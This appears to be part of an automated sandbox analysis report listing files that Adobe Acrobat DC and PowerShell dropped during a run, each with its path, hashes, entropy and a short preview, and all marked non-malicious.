Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316741753398471
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJfFldPeUkwRe9:YvXKXms6g8wERsdTeOJYnGz8Ukee9
MD5:	7E16F05C0C5958CBD08232869468DFB7
SHA1:	16A8640B7667B378770B96E7BEC1953916277EB5
SHA-256:	AE8CA89D4AEBDFDBE6CEFE16F2064B7407ACE9F626C6F73BD1D6CAA76526AE30
SHA-512:	0EE8BC29AE6936AB15960E6A8F88B7D021E719BD6B637137D3AABC81FA03F543000442A130EEC2FECCFF99B2725DE46BCC50B73066CF3083DF2E859F796DCDCD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.322771030989369
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJfzdPeUkwRe9:YvXKXms6g8wERsdTeOJYnGb8Ukee9
MD5:	29524BA2095F9549744EBDBBD7F76D11
SHA1:	C63FA8013D34F91BF857ED9550C8DAD7EEDD5000
SHA-256:	8B07F905575EF72DC187041AA5F63CE7ED4B18A1646DC8CE393020392F3FE46B
SHA-512:	0615CFE3D9903E8218FD06834BCBD644C018779488A6BFF30F374032B0A4AB13527EE3A076C20859F04C238B9DF10FF329C3FC421AEF6D3279275B7AB1EF302D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30348551584065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJfYdPeUkwRe9:YvXKXms6g8wERsdTeOJYnGg8Ukee9
MD5:	46AC2B80651C6196FC6B57CB1CB4FD94
SHA1:	53FDE0D3B89B6D98AEC831F355D23F82C0520E8B
SHA-256:	2C03B2463FD0BFD69EF1A38F8AE3B4BF7F453789D517D83C6E5168413C18E7C4
SHA-512:	16821CB6A82FC653A90B452736860ADAD55D6D19DC15E3D26B66047760C3F06BB90B9C94799E1B7F1CB805753C5B167D149E7121B51D3C135988365FDF9CD5AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.289597253379028
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJf+dPeUkwRe9:YvXKXms6g8wERsdTeOJYnG28Ukee9
MD5:	7F30D525F3695347F90637033B150A2F
SHA1:	00F523CD34C54C60B30C0DC4C1052359005E658D
SHA-256:	AF04ACA4EE7B854E8D2043B19F5ECE261853C4DA0FB03817AF5E32C69B4446F8
SHA-512:	FB4B1319D6E5567B0B501C12AACDC0F4414F15D8449427E52D688C59C502ED75C5C6D87B01FFB0ABE9190CDF821D51FC4A99CDA2A33BD3C845F961BB600D948B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.287008658079183
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJfbPtdPeUkwRe9:YvXKXms6g8wERsdTeOJYnGDV8Ukee9
MD5:	7EDF466022ECB71E21B5E96B32CF80CA
SHA1:	8E7D0972393E08DEF57F2F545074502EC32F8CA9
SHA-256:	E7039DF8090A2DDA550C7B279777CE900EADA0D4299FF48373473C6E3DA7A835
SHA-512:	629732F6E926CDD4529F873B2CD33FE3AD6C3E24A796C83329617DCF84A0F898A453A31582645028DA09D7A14C5B81491A7A47394009FB53633E4AF1C64B7C24
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2917083554597335
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJf21rPeUkwRe9:YvXKXms6g8wERsdTeOJYnG+16Ukee9
MD5:	9F5CF40883439A71309F00D4F399F42E
SHA1:	7D97490935DFC2F20D30984ABB6D07278D889C2F
SHA-256:	8A9780A183D0F4C477F26BB5B83BA0197C6092430831459787B84CB0C14F9AB5
SHA-512:	E615629CF4D53EA6EFB6AD74C1815886A9B851D5F86B17136DB21E6D075A1B01BB627D9F99CFFB9EB50634E8317B1BDFFFB4ED550D531DAC7D053EE26E97ED65
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666445288221713
Encrypted:	false
SSDEEP:	24:Yv6Xt2meObamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSwY:YvG1euBgkDMUJUAh8cvMwY
MD5:	EBF8B0112B98F0DF92F025FFB474DFC8
SHA1:	56C7286A428E599F7A3ABDD248FA0253D0F8A7E0
SHA-256:	89F6D9BC952FD298463E6E4D9C385B4A41490D0884669DE5A755E3A14B33C236
SHA-512:	348A9C88F58421FD4B28B95FE53BD93CDE05A828E8A934A520C4FFB12F879E966EF25E1CBC59A6A854684F0FE10B6700DECF0BA581CFFBB37B00E10F4174EA0D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.268080786884851
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJfshHHrPeUkwRe9:YvXKXms6g8wERsdTeOJYnGUUUkee9
MD5:	ABD2E1A12D871BFA36F2ED6188D7884F
SHA1:	666968F97A16B88FD5635F3B6429065ED52C5358
SHA-256:	48C1F72A6C05E4417425FC417166A0DC5C7729D3D1A5EE905CF16338DC9D9E9A
SHA-512:	118DF75127AF32E2C436A546421745169F40C2A9369380DA16D1283889A9D3B790563DFF1A9A529601CBD105A06D9D840E872B13AAB974C514D1BC89B7228298
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.281604052514432
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJTqgFCrPeUkwRe9:YvXKXms6g8wERsdTeOJYnGTq16Ukee9
MD5:	FA6B5CB08AAF5DF8522B4E1AF27C2384
SHA1:	D3D3EE9962930B7259CE868B641DE53BF6174600
SHA-256:	0FDB6BE6C082A51E016407AEA01B3D9EEB7226539B589A94548B0B7B3933D21E
SHA-512:	612D9BAACE96F63C685B0DEDBA228B646E16C02E5744F68333D97B0817107453BD5EA5A3305B8F287342AD86A8A6BE3131792D43927C105C5C0B086B4E3FD7FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1439308581582965
Encrypted:	false
SSDEEP:	24:YO7IWaju2ayRZUsHgtbHTMLlEsIqjYOzj0Sy3k62GFF2LSsCcxt/uSn0p5loZ795:YOUrZvABHTMlYO/CH1GntRn+AZ793J
MD5:	EDD9C4DB899DF14BC8574BFD0A5DCE2D
SHA1:	C23CB4BC9D3C74BC409E42DB00B5A4DA0ABD3EBB
SHA-256:	095F13B95833254F36572B4895C553116F8A84A650B5C871142125DC3DCDFAAE
SHA-512:	082558D616E9B86497BDB9280E3DDC2E962ACC2D65FA301D6C153E398E7920E17569AFCF438526FFD1F153A6B2A3E67BA07354548D15E950F960DA6AFECF2C9F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9b221ac73c3ebb5154b7fa5e22bfa188","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736926873000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9c6cbbb96454ff864bdf3393c80fa3c7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736926873000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ddeba6aa2be036668d2f1bbb1a70dffc","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736926873000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"74f783bc88f305d3c3bea672528145c2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736926872000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3ddc6560d656173fe2e8a17485ee1854","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736926872000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"18b086943b4b6d7700a0cedd85fd44e2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4526040604506347
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsSly:lNVmsw3SHtbDbPe0K3+fDZdE
MD5:	C386DE3CD86CAD557A1B7CBCFF4F1885
SHA1:	AB333E81B65A7932B22CEE3CA6454605AC114610
SHA-256:	FF0AC66CDE406829094688D504DAF029848F9F2673E70A745DAAE8FFE8543401
SHA-512:	D1E50BAEE86CD35272B2E059E82B4D01A8C45A3C679A45AB7D3DB79BA739055F72761EE3E267AA0168C88ADDFE747694050B71B2DF07727BB8D467F2C59AF9EA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9553775373207523
Encrypted:	false
SSDEEP:	48:7MTrvrBd6dHtbGIbPe0K3+fDy2ds7DqFl2GL7ms8:7G3SHtbDbPe0K3+fDZdSKVms8
MD5:	A01CD4C88B5763F34E89C7BE0176F318
SHA1:	88E7AE19B51225BDAE8E07070C41ACC0AA3972D8
SHA-256:	BC6905B4C3F4AA738680648D77114135E9F40E66002CD82BAF2FD0B7402C91E1
SHA-512:	12A29C46FF0A7D3D584F2C3880665B644BAFF685F32712624B7F52E816E533AC2C4B5903A879665E210AFBB51DFCD39222B4437755507C6D1BAE1BBEC1CAD63C
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg/hEbgdWhyxnFpxQs0TAQx46S1Yyu:6a6TZ44ADE/ebgd/FpEcf6QK
MD5:	7C087E5E0AE74CF8AC3C14630F15D14C
SHA1:	0DC8E2A92E3FB6CE5D0B93C62BB449F08B9992BF
SHA-256:	CBD507531831BA584DBBDFFFCD6DB7DE70D68384838403AADEAFB12E6741BD05
SHA-512:	21A2DC2B683C966244A0AED611232F120A641F70F31759C72AD5047B76E145BD6B3AE5516E055369AC5AA2EF3BA099404EB2C880CA0D02645FE757383D9C4835
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIda0cd.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8+pClDDYle:Qw946cPbiOxDlbYnuRKZvw
MD5:	CBB37F94B846156AA8AFB806AD8D54BF
SHA1:	0B53EF0F390C8B035DAC9492A1AA4C3D2D0391EF
SHA-256:	381397F6F7F9F2D911E4040E9449AAA34DA6569B8DB44B8397D150DD628B8491
SHA-512:	972A3A7A0F04E6803AE80FEC4B8A4FAF68E79F53E12E95D41AE5E5430DAC99E8588C0681DC85E5CBBC5C43DCB6C5B70B484740320EE5A693EFC6E39BBB183262
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.5./.0.1./.2.0.2.5. . .0.2.:.4.1.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_04tpp4g4.sje.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e2n1k2bk.4d3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-15 02-41-09-015.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.371496392960654
Encrypted:	false
SSDEEP:	384:LTksys7sasgs1dnUdtdb5dVdCdidE3F3H34uDunu1u5/S/e/n/Y/zWf7DKjDK5D4:LgPgnjU9Ujx5DkUW13oMScy6WfQ6TD67
MD5:	88F979DE55AC83D408EED19F21CDCD43
SHA1:	A625554C0F989EB650878ABA76B572D1BAAE29B1
SHA-256:	1D55AC170F8DC6928AD03271087E8C4A37F87862B6D6D7D08D12CFB0ED458859
SHA-512:	A4B760FCC2BE6F4BD6F9878C7EBF9A6DDBEBF8FA3A3FC6FF1490B0DF3545CF44EBAB63B29EAA0F24CE12B02F723964CCD87AFC40D1D570A60EC0942D24D10117
Malicious:	false
Preview:	SessionID=b9074802-b977-485d-ab7f-d92c838a9140.1736926869031 Timestamp=2025-01-15T02:41:09:031-0500 ThreadID=8088 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b9074802-b977-485d-ab7f-d92c838a9140.1736926869031 Timestamp=2025-01-15T02:41:09:032-0500 ThreadID=8088 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b9074802-b977-485d-ab7f-d92c838a9140.1736926869031 Timestamp=2025-01-15T02:41:09:032-0500 ThreadID=8088 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b9074802-b977-485d-ab7f-d92c838a9140.1736926869031 Timestamp=2025-01-15T02:41:09:032-0500 ThreadID=8088 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b9074802-b977-485d-ab7f-d92c838a9140.1736926869031 Timestamp=2025-01-15T02:41:09:032-0500 ThreadID=8088 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.409200348844327
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRR:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRn
MD5:	F09ABDD74E9C58CCCFC6A43F9FAA2E45
SHA1:	55EF339475D023724E6A4876F32C3E4A3B824FF6
SHA-256:	7BCC975DE53D797D1014759C1F0D90B3BAE313DE32462531F6D9AA3CC3D18E2F
SHA-512:	8D906C33BE30211FEE67A96315D4E4BFB468F33998698229F2E53A94A2D50FD1842BFBF57FDDE49D833764E07AC94BD30E4B58295A83FAB25185071A318129CE
Malicious:	false
